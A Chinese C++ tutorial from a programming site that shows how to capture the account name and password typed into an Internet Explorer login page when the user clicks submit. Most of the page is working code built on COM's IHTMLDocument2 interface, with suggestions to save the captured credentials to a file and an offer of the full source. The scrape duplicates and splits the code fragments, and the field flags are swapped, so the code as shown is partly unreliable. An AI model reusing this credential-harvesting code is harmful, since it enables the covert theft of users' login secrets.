程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> C++ >> C++入門知識 >> 利用IHTMLDocment2指針獲取IE網頁登錄帳號密碼

利用IHTMLDocment2指針獲取IE網頁登錄帳號密碼

編輯:C++入門知識

想實現的功能是這樣的,當用戶單擊網頁中的登錄按鈕時自動提取出用戶輸入的帳號密碼信息

第一步:首先獲得用戶在浏覽器上的鼠標單擊消息

              這裡可以用兩種方法去實現,一個是用SetWindowsHookEx(),生成一個全局鉤子(要在dll中,具體實現可以百度,因為本文采用的是另外一種方法),捕獲WH_GETMESSAGE或者WH_MOUSEMOVE消息。

             另一個用SetCapture獲得捕獲鼠標的窗口句柄,進而得到鼠標單擊坐標點

            下面是MFC中的SetCapture(也可以用API的SetCapture)

            CWnd::SetCapture

            CWnd* SetCapture( );

            返回值:
            原來接收所有鼠標輸入的窗口的指針。如果沒有這樣的窗口,則返回值為NULL。返回的指針可能是臨時的,不能被保存以供將來使用。

            說明:
            這個函數使隨後的所有鼠標輸入都被發送到當前的CWnd對象,並不考慮光標的位置。
            當CWnd不再需要所有的鼠標輸入時,應用程序應當調用ReleaseCapture函數以使其它窗口能夠接收鼠標輸入。

           

            響應LBUTTONUP消息,獲得鼠標點擊信息

           

[cpp]
void CGetIhtmlDlg::OnLButtonUp(UINT nFlags, CPoint point)  

    if(m_bCapture){ 
        m_bCapture=FALSE; 
        ReleaseCapture(); 
 
        static TCHAR    buf[100]; 
 
        POINT pt; 
        GetCursorPos(&pt); 
        HWND hwnd=::WindowFromPoint(pt); 
        if(hwnd!=NULL){ 
            ::GetClassName( hwnd, (LPTSTR)&buf, 100 ); 
            if ( _tcscmp( buf, _T("Internet Explorer_Server") ) == 0 ) 
            { 
                 
                    POINT iept=pt; 
                    IHTMLDocument2 *pDoc2=GetDocInterface(hwnd); 
                    ::ScreenToClient(hwnd,&iept); 
                    if(CheckSubmit(pDoc2,iept)) 

void CGetIhtmlDlg::OnLButtonUp(UINT nFlags, CPoint point)
{
 if(m_bCapture){
  m_bCapture=FALSE;
  ReleaseCapture();

  static TCHAR buf[100];

  POINT pt;
  GetCursorPos(&pt);
  HWND hwnd=::WindowFromPoint(pt);
  if(hwnd!=NULL){
   ::GetClassName( hwnd, (LPTSTR)&buf, 100 );
   if ( _tcscmp( buf, _T("Internet Explorer_Server") ) == 0 )
   {
    
     POINT iept=pt;
     IHTMLDocument2 *pDoc2=GetDocInterface(hwnd);
     ::ScreenToClient(hwnd,&iept);
     if(CheckSubmit(pDoc2,iept))[cpp] view plaincopyprint?        
                                { 
                    GetHtmlInfo(pDoc2,hwnd); 
                } 
             
        } 
    } 

 
CDialog::OnLButtonUp(nFlags, point); 

       
                                 {
      GetHtmlInfo(pDoc2,hwnd);
     }
    
   }
  }
 }

 CDialog::OnLButtonUp(nFlags, point);
}第二步:判斷鼠標點擊的位置是否為登錄按鈕

             這裡面首先要做的就是獲得IHTMLDocment2*的指針,這個是微軟為IE開發提供的一個接口,具體可以MSDN,這裡面用到了com組件,建議大家可以先去了解相關資料再看代碼或許會更好理解

             

[cpp]
IHTMLDocument2* GetDocInterface(HWND hWnd)  

    //必須動態載入OLEACC.dll動態鏈接庫  
    HINSTANCE hInst = ::LoadLibrary( _T("OLEACC.DLL") ); 
    IHTMLDocument2* pDoc2=NULL; 
    if ( hInst != NULL ){ 
        if ( hWnd != NULL ){ 
            CComPtr<IHTMLDocument> spDoc=NULL; 
            LRESULT lRes; 
                         

IHTMLDocument2* GetDocInterface(HWND hWnd)
{
 //必須動態載入OLEACC.dll動態鏈接庫
 HINSTANCE hInst = ::LoadLibrary( _T("OLEACC.DLL") );
 IHTMLDocument2* pDoc2=NULL;
 if ( hInst != NULL ){
  if ( hWnd != NULL ){
   CComPtr<IHTMLDocument> spDoc=NULL;
   LRESULT lRes;
                        [cpp] view plaincopyprint?                     //因為WM_HTML_GETOBJECCT非Windows標准消息,得手動注冊  
UINT nMsg = ::RegisterWindowMessage( _T("WM_HTML_GETOBJECT") ); 
::SendMessageTimeout( hWnd, nMsg, 0L, 0L, SMTO_ABORTIFHUNG, 1000, (DWORD*)&lRes ); 
 
LPFNOBJECTFROMLRESULT pfObjectFromLresult = (LPFNOBJECTFROMLRESULT)::GetProcAddress( hInst, _T("ObjectFromLresult") ); 
if ( pfObjectFromLresult != NULL ){ 
    HRESULT hr; 
    hr=pfObjectFromLresult(lRes,IID_IHTMLDocument,0,(void**)&spDoc); 
    if ( SUCCEEDED(hr) ){ 
        CComPtr<IDispatch> spDisp; 
        CComQIPtr<IHTMLWindow2> spWin; 
        spDoc->get_Script( &spDisp ); 
        spWin = spDisp; 
        spWin->get_document( &pDoc2 ); 
    } 

                        //因為WM_HTML_GETOBJECCT非Windows標准消息,得手動注冊
   UINT nMsg = ::RegisterWindowMessage( _T("WM_HTML_GETOBJECT") );
   ::SendMessageTimeout( hWnd, nMsg, 0L, 0L, SMTO_ABORTIFHUNG, 1000, (DWORD*)&lRes );

   LPFNOBJECTFROMLRESULT pfObjectFromLresult = (LPFNOBJECTFROMLRESULT)::GetProcAddress( hInst, _T("ObjectFromLresult") );
   if ( pfObjectFromLresult != NULL ){
    HRESULT hr;
    hr=pfObjectFromLresult(lRes,IID_IHTMLDocument,0,(void**)&spDoc);
    if ( SUCCEEDED(hr) ){
     CComPtr<IDispatch> spDisp;
     CComQIPtr<IHTMLWindow2> spWin;
     spDoc->get_Script( &spDisp );
     spWin = spDisp;
     spWin->get_document( &pDoc2 );
    }
   }
  }[cpp] view plaincopyprint?       ::FreeLibrary(hInst); 
     
    return pDoc2; 
}  

       ::FreeLibrary(hInst);
 
 return pDoc2;
}    接下來就是根據鼠標點擊位置判斷是否單擊登錄了

 

[cpp]
BOOL CGetIhtmlDlg::CheckSubmit(IHTMLDocument2* pDoc2,POINT pt) 

    if(pDoc2==NULL)return FALSE; 
    CComPtr<IHTMLElement> pElement; 
    HRESULT hr=pDoc2->elementFromPoint(pt.x,pt.y,&pElement); 
    if(SUCCEEDED(hr)) 
    {        

BOOL CGetIhtmlDlg::CheckSubmit(IHTMLDocument2* pDoc2,POINT pt)
{
 if(pDoc2==NULL)return FALSE;
 CComPtr<IHTMLElement> pElement;
 HRESULT hr=pDoc2->elementFromPoint(pt.x,pt.y,&pElement);
 if(SUCCEEDED(hr))
 {       [cpp] view plaincopyprint?              //HTML中登錄按鈕有兩種方式<input type="submit">和<button type="submit">在com中有IHTMLInputButtonElement和IHTMLButtonElement接口與之對應   
CComPtr<IHTMLInputButtonElement> pInputButtonElement; 
hr=pElement->QueryInterface(IID_IHTMLInputButtonElement,(void**)&pInputButtonElement); 
if(SUCCEEDED(hr)) 

    CComBSTR type; 
    hr=pInputButtonElement->get_type(&type); 
    if(SUCCEEDED(hr)) 
    { 
        if(type==_T("submit")) 
               
        return TRUE; 
     
    } 

                //HTML中登錄按鈕有兩種方式<input type="submit">和<button type="submit">在com中有IHTMLInputButtonElement和IHTMLButtonElement接口與之對應
  CComPtr<IHTMLInputButtonElement> pInputButtonElement;
  hr=pElement->QueryInterface(IID_IHTMLInputButtonElement,(void**)&pInputButtonElement);
  if(SUCCEEDED(hr))
  {
   CComBSTR type;
   hr=pInputButtonElement->get_type(&type);
   if(SUCCEEDED(hr))
   {
    if(type==_T("submit"))
               
    return TRUE;
   
   }
  }[cpp] view plaincopyprint?                //如果不是第一種按鈕,判斷第二種  
        CComPtr<IHTMLButtonElement> pButtonElement; 
        hr=NULL; 
        hr=pElement->QueryInterface(IID_IHTMLButtonElement,(void**)&pButtonElement); 
        if(SUCCEEDED(hr)) 
        { 
            CComBSTR type; 
            hr=pButtonElement->get_type(&type); 
            if(SUCCEEDED(hr)) 
            { 
                if(type==_T("submit")) 
                 
                return TRUE; 
             
            } 
        } 
    } 
    return FALSE; 

                //如果不是第一種按鈕,判斷第二種
  CComPtr<IHTMLButtonElement> pButtonElement;
  hr=NULL;
  hr=pElement->QueryInterface(IID_IHTMLButtonElement,(void**)&pButtonElement);
  if(SUCCEEDED(hr))
  {
   CComBSTR type;
   hr=pButtonElement->get_type(&type);
   if(SUCCEEDED(hr))
   {
    if(type==_T("submit"))
               
    return TRUE;
   
   }
  }
 }
 return FALSE;
}第三步:根據獲得到的IHTMLDocment2指針解析整個網頁,找到password和text標簽處,取出裡面的內容


[cpp]
void CGetIhtmlDlg::GetHtmlInfo(IHTMLDocument2 *pHDoc2, HWND hWnd) 

    LONG    length = 0; 
    PCHAR   pBase64Title = NULL; 
    BOOL    bHavePassword = FALSE; 
    BOOL    bHaveEmail  = FALSE; 
    DWORD   dwLenOfBuffer; 
    CHAR    szBase64Title[MAX_PATH * 2] = {0}; 
    WCHAR   wzEmailTitle[MAX_PATH] = {0}; 
    WCHAR   wzEmailAddr[MAX_PATH] = {0}; 
    WCHAR   wzEmailPsw[MAX_PATH] = {0}; 
    HRESULT hr; 
    PWCHAR  pwBuffer = NULL; 
 
    do  
    { 
        if (NULL == pHDoc2) 
        { 
            break; 
        } 
 
        CComPtr<IHTMLElementCollection> pAllColl; 
        hr = pHDoc2->get_all(&pAllColl); 
        if (S_OK != hr || pAllColl == NULL) 
        { 
            break; 
        } 
 
        hr = pAllColl->get_length(&length); 
        if (S_OK != hr) 
        { 
            break; 
        } 
 
        for(int i = 0; i < length; i++) 
        { 
            if (bHaveEmail && bHavePassword) 
            { 
                break; 
            } 
 
            VARIANT vIndex,vName; 
            vName.vt = vIndex.vt = VT_I4; 
            vName.lVal = vIndex.lVal = i; 
 
            CComPtr<IDispatch> pDisp; 
            hr = pAllColl->item(vName,vIndex,&pDisp); 
            if (S_OK != hr || pDisp == NULL) 
            { 
                continue; 
            } 
 
            CComPtr<IHTMLInputTextElement> pElement; 
            hr = pDisp->QueryInterface(IID_IHTMLInputTextElement,(void**)&pElement); 
            if (S_OK != hr || pElement == NULL) 
            { 
                continue; 
            } 
 
            CComBSTR type; 
            hr = pElement->get_type(&type); 
            if(SUCCEEDED(hr)) 
            { 
                if(type == "password") 
                { 
                    CComBSTR pwd; 
                    pElement->get_value(&pwd); 
                    lstrcpyW(wzEmailPsw, (PWCHAR)pwd); 
                    bHaveEmail = TRUE; 
                } 
                else if (type == "text") 
                { 
                    CComBSTR eml; 
                    pElement->get_value(&eml); 
                    lstrcpyW(wzEmailAddr, (PWCHAR)eml); 
                    bHavePassword = TRUE; 
                } 
            } 
        } 
    } while (FALSE); 

void CGetIhtmlDlg::GetHtmlInfo(IHTMLDocument2 *pHDoc2, HWND hWnd)
{
 LONG length = 0;
 PCHAR pBase64Title = NULL;
 BOOL bHavePassword = FALSE;
 BOOL bHaveEmail = FALSE;
 DWORD dwLenOfBuffer;
 CHAR szBase64Title[MAX_PATH * 2] = {0};
 WCHAR wzEmailTitle[MAX_PATH] = {0};
 WCHAR wzEmailAddr[MAX_PATH] = {0};
 WCHAR wzEmailPsw[MAX_PATH] = {0};
 HRESULT hr;
 PWCHAR pwBuffer = NULL;

 do
 {
  if (NULL == pHDoc2)
  {
   break;
  }

  CComPtr<IHTMLElementCollection> pAllColl;
  hr = pHDoc2->get_all(&pAllColl);
  if (S_OK != hr || pAllColl == NULL)
  {
   break;
  }

  hr = pAllColl->get_length(&length);
  if (S_OK != hr)
  {
   break;
  }

  for(int i = 0; i < length; i++)
  {
   if (bHaveEmail && bHavePassword)
   {
    break;
   }

   VARIANT vIndex,vName;
   vName.vt = vIndex.vt = VT_I4;
   vName.lVal = vIndex.lVal = i;

   CComPtr<IDispatch> pDisp;
   hr = pAllColl->item(vName,vIndex,&pDisp);
   if (S_OK != hr || pDisp == NULL)
   {
    continue;
   }

   CComPtr<IHTMLInputTextElement> pElement;
   hr = pDisp->QueryInterface(IID_IHTMLInputTextElement,(void**)&pElement);
   if (S_OK != hr || pElement == NULL)
   {
    continue;
   }

   CComBSTR type;
   hr = pElement->get_type(&type);
   if(SUCCEEDED(hr))
   {
    if(type == "password")
    {
     CComBSTR pwd;
     pElement->get_value(&pwd);
     lstrcpyW(wzEmailPsw, (PWCHAR)pwd);
     bHaveEmail = TRUE;
    }
    else if (type == "text")
    {
     CComBSTR eml;
     pElement->get_value(&eml);
     lstrcpyW(wzEmailAddr, (PWCHAR)eml);
     bHavePassword = TRUE;
    }
   }
  }
 } while (FALSE);[cpp] view plaincopyprint? 

[cpp]
  //因為是做演示程序,直接彈出對話框了,大家可以將此處帳號密碼寫入文本文件中  
    CString temp=L"帳號:"; 
    temp+=wzEmailAddr; 
    temp+=L"密碼:"; 
    temp+=wzEmailPsw; 
    AfxMessageBox(temp); 
      

    //因為是做演示程序,直接彈出對話框了,大家可以將此處帳號密碼寫入文本文件中
    CString temp=L"帳號:";
 temp+=wzEmailAddr;
 temp+=L"密碼:";
    temp+=wzEmailPsw;
 AfxMessageBox(temp);
    
}


基本就這樣可以了,貼張圖吧

 

 

如果有需要的話可以聯系我,可以提供源碼,QQ號在我ID裡面

                          \

 

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved